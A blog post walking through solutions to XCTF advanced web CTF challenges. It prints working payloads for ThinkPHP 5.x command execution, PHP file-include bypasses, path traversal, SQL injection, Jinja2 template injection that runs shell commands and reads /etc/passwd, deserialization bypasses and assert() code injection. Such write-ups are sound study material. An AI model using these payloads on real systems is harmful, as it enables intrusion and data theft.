攻防世界web进阶区刷题记录(1)_can you anthenticate to this website?-程序员宅基地

技术标签: 安全  刷题  

web进阶区

这里刷一下进阶区的题目,一边看wp一边学习

baby_web

提示是:想想初始页面是哪个
进入是一个hello world,然后就没有了,由于提示试试抓包,得到flag
在这里插入图片描述

Training-WWW-Robots

由于提示我们就查看robots.txt
在这里插入图片描述
获得flag
在这里插入图片描述

php_rce

题目很明显的提示了:ThinkPHP V5
在这里插入图片描述
上网找到相应的漏洞利用,这里我找的是:ThinkPHP 5.x远程命令执行漏洞分析与复现
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
发现可行,执行了whoami,那么就很简单了
在这里插入图片描述
cat /flag一下?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
在这里插入图片描述

Web_php_include

给出了源码:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    
    $page=str_replace("php://", "", $page);
}
include($page);
?>

在这里插入图片描述
过滤了php://,但方法很多

方法1:大小写绕过

没有过滤Php://,可大写绕过
?page=Php://inputPOST方式提交<?php system("ls"); ?>
在这里插入图片描述
然后执行cat即可
在这里插入图片描述

方法2:php文件包含

php文件包含
?page=http://127.0.0.1/index.php/?hello=<?system('ls');?>
在这里插入图片描述
?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
在这里插入图片描述

方法3:伪协议

使用其他的伪协议data://text/plain
首先获取路径?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>
在这里插入图片描述
读取当前目录的文件?page=data://text/plain,<?php print_r(scandir('/var/www'));?>
在这里插入图片描述
最后读取文件即可?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a);?>
在这里插入图片描述

warmup

打开是一个滑稽,查看源码得到source.php查看得到源代码

 <?php
    highlight_file(__FILE__);
    class emmm
    {
    
        public static function checkFile(&$page)
        {
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
    
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
    
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

在这里插入图片描述
第一个if是对$page变量进行检验,要求是字符串,否则的话返回false,

第二个if是判断$page是否在规定的白名单数组里面;如果在的话返回true;接着截取$page的 ? 之前的内容进行查看,判断其是否在$whitelist中,如果在的话,返回true,不在的话返回false;然后对$page进行url解码,解码之后再继续截取 ? 之前的内容,判断是否在$whitelist数组之中,如果在的话返回true,否则返回false;都通过以后,就会包含file;

这里我们构造payload ?file=source.php?../../../../../../ffffllllaaaagggg(因为我们不知道具体的位置,所以我们只能目录跃迁进行尝试)然后得到flag
在这里插入图片描述
参考:[HCTF 2018]WarmUp

NewsCenter

没有过滤的sql注入,直接union select即可

得到news:
' and 0 union select 1,database(),3# 
得到secret_table:
' and 0 union select 1,table_schema,table_name from information_schema.columns #
得到fl4g:
' and 0 union select 1,2,column_name from information_schema.columns where table_name='secret_table'#
得到flag:
' and 0 union select 1,2,fl4g from secret_table #

在这里插入图片描述

NaNNaNNaNNaN-Batman

下载附件,发现是js代码,但很混乱,发现最后有个eval()函数执行行了前面的_函数,将eval()改为alert(),改为.html即可弹出源代码
在这里插入图片描述
整理后得:

function $() {
    
    var e = document.getElementById("c").value;
    if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
    
        var t = ["fl", "s_a", "i", "e}"];
        var n = ["a", "_h0l", "n"];
        var r = ["g{", "e", "_0"];
        var i = ["it'", "_", "n"];
        var s = [t, n, r, i];
        for (var o = 0; o < 13; ++o) {
    
            document.write(s[o % 4][0]);
            s[o % 4].splice(0, 1)
        }
    }
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _

将数组拼接起来即是flag:flag{it's_a_h0le_in_0ne}
或者运行js代码得到一个弹窗,输入数字要满足条件如下:

  1. 长度为16
  2. 以be0f23开头
  3. 以e98aa结尾
  4. 包含233ac
  5. 包含c7be9

得到be0f233ac7be98aa,输入得到flag
在这里插入图片描述

PHP2

打开得到:Can you anthenticate to this website?
想法就是,但扫描目录没得出来,查看wp发现是index.phps
在这里插入图片描述
输入admin的两次url编码即可
?id=%2561%2564%256d%2569%256e
在这里插入图片描述

unserialize3

得到一串代码:

class xctf{
    
public $flag = '111';
public function __wakeup(){
    
exit('bad requests');
}
?code=

构造序列化,只存在一个变量flag
?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";}
又要绕过__wakeup(),将1改为2即可
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在这里插入图片描述

upload1

查看源代码得:

function check(){
    
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
    
	submit.disabled = false;
}else{
    
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}

}

前端js检验,抓包绕过,首先上传jpg
在这里插入图片描述
蚁剑连接即可得到flag
在这里插入图片描述

Web_python_template_injection

进入题目提示:python template injection,这个点不会,看了wp
执行{ {7*7}}
在这里插入图片描述
可行,那么就可以读取数据了,读取/etc/password
{ { [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
在这里插入图片描述
首先执行ls命令

{
    % for c in [].__class__.__base__.__subclasses__() %}
{
    % if c.__name__ == 'catch_warnings' %}
  {
    % for b in c.__init__.__globals__.values() %}  
  {
    % if b.__class__ == {
    }.__class__ %}         //遍历基类 找到eval函数
    {
    % if 'eval' in b.keys() %}    //找到了
      {
    {
     b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {
    % endif %}
  {
    % endif %}
  {
    % endfor %}
{
    % endif %}
{
    % endfor %}

在这里插入图片描述
得到了fl4g,那么cat一下就可以了,将ls改为cat fl4g
在这里插入图片描述
看了另一个师傅的,代码简单很多:
{ {[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()}}
{ {[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("cat fl4g").read()}}

方法很多,不拘于一种方法最好
参考:
攻防世界WEB高手进阶之python_template_injection
[WP]Web>Python>template>注入,wpWebpythontemplateinjection,攻防,世界

Web_php_unserialize

反序列化的题目,给出了源码

<?php 
class Demo {
     
    private $file = 'index.php';
    public function __construct($file) {
     
        $this->file = $file; 
    }
    function __destruct() {
     
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
     
        if ($this->file != 'index.php') {
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {
     
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) {
     
        die('stop hacking!'); 
    } else {
    
        @unserialize($var); 
    } 
} else {
     
    highlight_file("index.php"); 
} 
?>

主要绕过两个地方:

  1. preg_match(’/[oc]:\d+:/i’, $var)的绕过
  2. unserialize时__wakeup的绕过

绕过正则:使用+可以绕过preg_match() 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过
绕过wakeup:使序列化字符串中标识变量数量的值大于实际变量即可,即1变为2
在下面添加如下代码构造序列化即可:

    $A = new Demo('fl4g.php');
    $C = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
    $C = str_replace(':1:', ':2:',$C);//绕过wakeup
    var_dump($C);
    //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($C));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="

在这里插入图片描述
传入可得到flag
在这里插入图片描述

supersqli

强网杯的原题,直接使用payload

1'; handler `1919810931114514` open as y1ng; handler y1ng read first; handler y1ng close;#

在这里插入图片描述

easytornado

一样是buuctf上做过的题目,直接上payload
error?msg={ {1*2}}
在这里插入图片描述
获得cookie:error?msg={ {handler.settings}}
在这里插入图片描述
得到ead3e90c-a620-4f9c-afd5-824276d245ba,使用python脚本:

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="ead3e90c-a620-4f9c-afd5-824276d245ba"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

在这里插入图片描述
最后file?filename=/fllllllllllllag&filehash=f99dedfcd23ec0411f0727c8ade108c4
在这里插入图片描述

ics-06

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
点进去什么都没有,就只有点报表中心得出
在这里插入图片描述
送分题。。。。尝试了sql注入没反应,看wp发现爆破id即可,那么就开始抓包爆破了,数据从1设到10000,爆出了id=2333时不同
在这里插入图片描述
访问得到flag
在这里插入图片描述

lottery

界面还蛮有意思的,得到flag要$9990000,要两次得到7个一样的数字
在这里插入图片描述
查看wp才发现是git泄露,那么就直接开始githack了
在这里插入图片描述
接下来代码审计,猜数字的在api.php中,有一个弱类型,bool类型的true是可以和任何数据弱类型相等的
在这里插入图片描述
那么就开始抓包把数据都改为true即可,注意当生成的win_number中不含0时才会得5000000
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
在这里插入图片描述
最后刷到足够的钱,买flag就行了
在这里插入图片描述
参考:攻防世界-Web-lottery(.git泄露、php源码审计、弱类型利用)-XCTF 4th-QCTF-2018

mfw

首先发现有git泄露,直接可以得到源码
在这里插入图片描述
好吧,打开乱码,还是用githack得到index.php的源码:

<?php

if (isset($_GET['page'])) {
    
	$page = $_GET['page'];
} else {
    
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert()函数会将读入的代码当做PHP代码来执行

  1. 首先对strpos函数进行闭合,构造:?page=’)
  2. 可以把后面', '..') === false的给注释掉,构造:?page=').phpinfo();//
  3. 或者不注释也行,直接插入,构造?page='.phpinfo().'

在这里插入图片描述
那么就可以使用system()来执行语句了
?page='.system("ls").'
在这里插入图片描述
?page='.system("cat templates/flag.php").',查看源码得到flag
在这里插入图片描述
参考:XCTF WEB mfw

web2

给出了源码:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    
    $_o=strrev($str); //反转字符串
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
    //循环字符串长度
       
        $_c=substr($_o,$_0,1); //从$_0位置开始,返回1个字符
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   //拼接两个变量的内容 赋值
    } 
    return str_rot13(strrev(base64_encode($_)));//返回  ROT13 编码/解码(反转字符串(base64加密($_)))
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?> 

逆向解密即可,这里借鉴了师傅的代码:

<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));

$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){
      
       
        $_c=substr($_,$_0,1);  

        $__=ord($_c)-1;  

        $_c=chr($__);  

        $_o=$_o.$_c;   
    } 
echo strrev($_o);
?>

在这里插入图片描述
参考:攻防世界 web 进阶 web2

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/bmth666/article/details/105034450

智能推荐

分布式光纤传感器的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告_预计2026年中国分布式传感器市场规模有多大-程序员宅基地

文章浏览阅读3.2k次。本文研究全球与中国市场分布式光纤传感器的发展现状及未来发展趋势,分别从生产和消费的角度分析分布式光纤传感器的主要生产地区、主要消费地区以及主要的生产商。重点分析全球与中国市场的主要厂商产品特点、产品规格、不同规格产品的价格、产量、产值及全球和中国市场主要生产商的市场份额。主要生产商包括:FISO TechnologiesBrugg KabelSensor HighwayOmnisensAFL GlobalQinetiQ GroupLockheed MartinOSENSA Innovati_预计2026年中国分布式传感器市场规模有多大

07_08 常用组合逻辑电路结构——为IC设计的延时估计铺垫_基4布斯算法代码-程序员宅基地

文章浏览阅读1.1k次,点赞2次,收藏12次。常用组合逻辑电路结构——为IC设计的延时估计铺垫学习目的:估计模块间的delay,确保写的代码的timing 综合能给到多少HZ,以满足需求!_基4布斯算法代码

OpenAI Manager助手(基于SpringBoot和Vue)_chatgpt网页版-程序员宅基地

文章浏览阅读3.3k次,点赞3次,收藏5次。OpenAI Manager助手(基于SpringBoot和Vue)_chatgpt网页版

关于美国计算机奥赛USACO,你想知道的都在这_usaco可以多次提交吗-程序员宅基地

文章浏览阅读2.2k次。USACO自1992年举办,到目前为止已经举办了27届,目的是为了帮助美国信息学国家队选拔IOI的队员,目前逐渐发展为全球热门的线上赛事,成为美国大学申请条件下,含金量相当高的官方竞赛。USACO的比赛成绩可以助力计算机专业留学,越来越多的学生进入了康奈尔,麻省理工,普林斯顿,哈佛和耶鲁等大学,这些同学的共同点是他们都参加了美国计算机科学竞赛(USACO),并且取得过非常好的成绩。适合参赛人群USACO适合国内在读学生有意向申请美国大学的或者想锻炼自己编程能力的同学,高三学生也可以参加12月的第_usaco可以多次提交吗

MySQL存储过程和自定义函数_mysql自定义函数和存储过程-程序员宅基地

文章浏览阅读394次。1.1 存储程序1.2 创建存储过程1.3 创建自定义函数1.3.1 示例1.4 自定义函数和存储过程的区别1.5 变量的使用1.6 定义条件和处理程序1.6.1 定义条件1.6.1.1 示例1.6.2 定义处理程序1.6.2.1 示例1.7 光标的使用1.7.1 声明光标1.7.2 打开光标1.7.3 使用光标1.7.4 关闭光标1.8 流程控制的使用1.8.1 IF语句1.8.2 CASE语句1.8.3 LOOP语句1.8.4 LEAVE语句1.8.5 ITERATE语句1.8.6 REPEAT语句。_mysql自定义函数和存储过程

半导体基础知识与PN结_本征半导体电流为0-程序员宅基地

文章浏览阅读188次。半导体二极管——集成电路最小组成单元。_本征半导体电流为0

随便推点

【Unity3d Shader】水面和岩浆效果_unity 岩浆shader-程序员宅基地

文章浏览阅读2.8k次,点赞3次,收藏18次。游戏水面特效实现方式太多。咱们这边介绍的是一最简单的UV动画(无顶点位移),整个mesh由4个顶点构成。实现了水面效果(左图),不动代码稍微修改下参数和贴图可以实现岩浆效果(右图)。有要思路是1,uv按时间去做正弦波移动2,在1的基础上加个凹凸图混合uv3,在1、2的基础上加个水流方向4,加上对雾效的支持,如没必要请自行删除雾效代码(把包含fog的几行代码删除)S..._unity 岩浆shader

广义线性模型——Logistic回归模型(1)_广义线性回归模型-程序员宅基地

文章浏览阅读5k次。广义线性模型是线性模型的扩展,它通过连接函数建立响应变量的数学期望值与线性组合的预测变量之间的关系。广义线性模型拟合的形式为:其中g(μY)是条件均值的函数(称为连接函数)。另外,你可放松Y为正态分布的假设,改为Y 服从指数分布族中的一种分布即可。设定好连接函数和概率分布后,便可以通过最大似然估计的多次迭代推导出各参数值。在大部分情况下,线性模型就可以通过一系列连续型或类别型预测变量来预测正态分布的响应变量的工作。但是,有时候我们要进行非正态因变量的分析,例如:(1)类别型.._广义线性回归模型

HTML+CSS大作业 环境网页设计与实现(垃圾分类) web前端开发技术 web课程设计 网页规划与设计_垃圾分类网页设计目标怎么写-程序员宅基地

文章浏览阅读69次。环境保护、 保护地球、 校园环保、垃圾分类、绿色家园、等网站的设计与制作。 总结了一些学生网页制作的经验:一般的网页需要融入以下知识点:div+css布局、浮动、定位、高级css、表格、表单及验证、js轮播图、音频 视频 Flash的应用、ul li、下拉导航栏、鼠标划过效果等知识点,网页的风格主题也很全面:如爱好、风景、校园、美食、动漫、游戏、咖啡、音乐、家乡、电影、名人、商城以及个人主页等主题,学生、新手可参考下方页面的布局和设计和HTML源码(有用点赞△) 一套A+的网_垃圾分类网页设计目标怎么写

C# .Net 发布后,把dll全部放在一个文件夹中,让软件目录更整洁_.net dll 全局目录-程序员宅基地

文章浏览阅读614次,点赞7次,收藏11次。之前找到一个修改 exe 中 DLL地址 的方法, 不太好使,虽然能正确启动, 但无法改变 exe 的工作目录,这就影响了.Net 中很多获取 exe 执行目录来拼接的地址 ( 相对路径 ),比如 wwwroot 和 代码中相对目录还有一些复制到目录的普通文件 等等,它们的地址都会指向原来 exe 的目录, 而不是自定义的 “lib” 目录,根本原因就是没有修改 exe 的工作目录这次来搞一个启动程序,把 .net 的所有东西都放在一个文件夹,在文件夹同级的目录制作一个 exe._.net dll 全局目录

BRIEF特征点描述算法_breif description calculation 特征点-程序员宅基地

文章浏览阅读1.5k次。本文为转载,原博客地址:http://blog.csdn.net/hujingshuang/article/details/46910259简介 BRIEF是2010年的一篇名为《BRIEF:Binary Robust Independent Elementary Features》的文章中提出,BRIEF是对已检测到的特征点进行描述,它是一种二进制编码的描述子,摈弃了利用区域灰度..._breif description calculation 特征点

房屋租赁管理系统的设计和实现,SpringBoot计算机毕业设计论文_基于spring boot的房屋租赁系统论文-程序员宅基地

文章浏览阅读4.1k次,点赞21次,收藏79次。本文是《基于SpringBoot的房屋租赁管理系统》的配套原创说明文档,可以给应届毕业生提供格式撰写参考,也可以给开发类似系统的朋友们提供功能业务设计思路。_基于spring boot的房屋租赁系统论文